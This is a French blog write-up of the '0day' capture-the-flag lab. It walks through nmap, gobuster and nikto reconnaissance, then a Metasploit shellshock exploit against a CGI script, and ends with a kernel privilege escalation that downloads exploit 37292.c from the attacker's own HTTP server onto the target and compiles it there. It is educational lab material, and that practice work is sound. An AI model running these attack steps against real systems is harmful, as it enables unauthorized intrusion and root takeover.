Nous voici de nouveau pour un CTF, aujourd’hui nous allons aborder 0day. Plutôt axé Web, nous allons tenter d’avoir les privilèges root sur notre server cible.

Avant de débuter, le niveau est débutant/intermédiaire, mais aussi un bon entrainement pour ceux qui pensent avoir pris un peu de repos. Un bon moyen de reprendre calmement 😉. Go !

 

I. Reconnaissance – Enumération :

On commence toujours par effectuer un scan network pour déterminer les ports ouverts et les services exécutés :

nmap -A -sV -p- IP_address

 

Le port 80 http est ouvert allons jeter un coup d’œil, nous aurons peut-être des infos utiles :

 

 

Rien d’intéressant sur le code source, cherchons si le site dispose des répertoires. Pour cela utilisez gobuster :

gobuster dir -u http://IP_address/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

Après avoir scruté toutes les pages une par une, je pensais avoir trouvé un moyen d’obtenir un shell directement en utilisant la clé SSH (dans le répertoire backup). Mais sans succès, je pense que /cgi-bin va être intéressant à voir par la suite.

Essayons un scan avec  Nikto, croyez-moi cet outil est très utile :

nikto -h IP_address

Et voilà le travail, nous avons trouvé une vulnérabilité : shellshock (très connu)

Passons à l’exploitation…

 

II. Exploitation:

Dans cette partie, nous allons utiliser un Framework que j’utilise très souvent. Il est d’ailleurs utilisé par des Pentesters et il est très complet. Il dispose de tous les outils que vous aurez besoin. Oui je parle bien de Metasploit-Framework :

msfconsole -q

Je le lance sans banner pour aller plus vite.

 

Cherchons notre exploit concernant shellshock avec la fonction search:

msf5> search shellshock

Bingo ! nous avons trouvé notre exploit, maintenant nous devons l’utiliser, le paramétrer et le lancer :  tapez la commande use 5 pour sélectionner l’exploit :

 

Maintenant, effectuez le paramétrage :

msf5> set rhosts IP_address

msf5> set lhosts tun0

msf5> set targeturi /cgi-bin/test.cgi

Il nous reste plus qu’à lancer l’exploit avec la commande  run :

Nous avons notre shell meterpreter, maintenant nous allons basculer vers un shell autre que celui-là et après passer vers shell bash :

python -c 'import pty;pty.spawn("bin/bash")'

Allez chercher le flag user.txt dans le répertoire principal /home :

N’oubliez pas notre objectif, il faut avoir les privilège root et donc obtenir le flag root.txt.

 

Pour cela plusieurs pistes à explorer, dans un premier temps nous allons voir la version du kernel utilisé et si nous n’obtenons rien d’intéressant ou un exploit nous passerons à autre chose…

uname -r

Google est votre ami pour la recherche d’exploit 😉 :

Voici notre exploit, téléchargez le fichier 37292.c, maintenant il faut pouvoir partager ce fichier dans le server cible pour pouvoir l’exécuter. Pour cela commencez par créer un server local avec python la commande est simple : python3 -m http.server port (ex : python3 -m http.server 5555).

Maintenant, depuis le shell obtenu sur notre cible téléchargez le fichier qui se trouve sur votre machine locale.  Attention surtout ne pas oublier de se déplacer vers le répertoire /tmp de la machine cible, car vous n’avez pas assez de droit pour télécharger ou supprimer un fichier depuis l’utilisateur Ryan.

Et voilà le travail, ce n’est pas fini ! il faut compiler le script puis l’exécuter et nous basculerons vers le super-utilisateur root :

 

Avez-vous réussi à aller jusqu’au bout ? Bravo ! c’est terminé pour ce CTF. Au premier regard il a l’air de donner du fil à retordre mais après avoir bien compris le concept ainsi que  la logique ça roule comme sur des roulettes.

Si vous avez des questions ou des difficultés, n’hésitez pas à me contacter ou laisser un commentaire, au plaisir de vous aider sur un autre CTF, PEACE !

3 Responses

  1. Hey there! I’ve been reading your blog for a while now and finally got the bravery
    to go ahead and give you a shout out from Huffman Tx!
    Just wanted to tell you keep up the great work!

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

11 + 10 =

Follow by Email
YouTube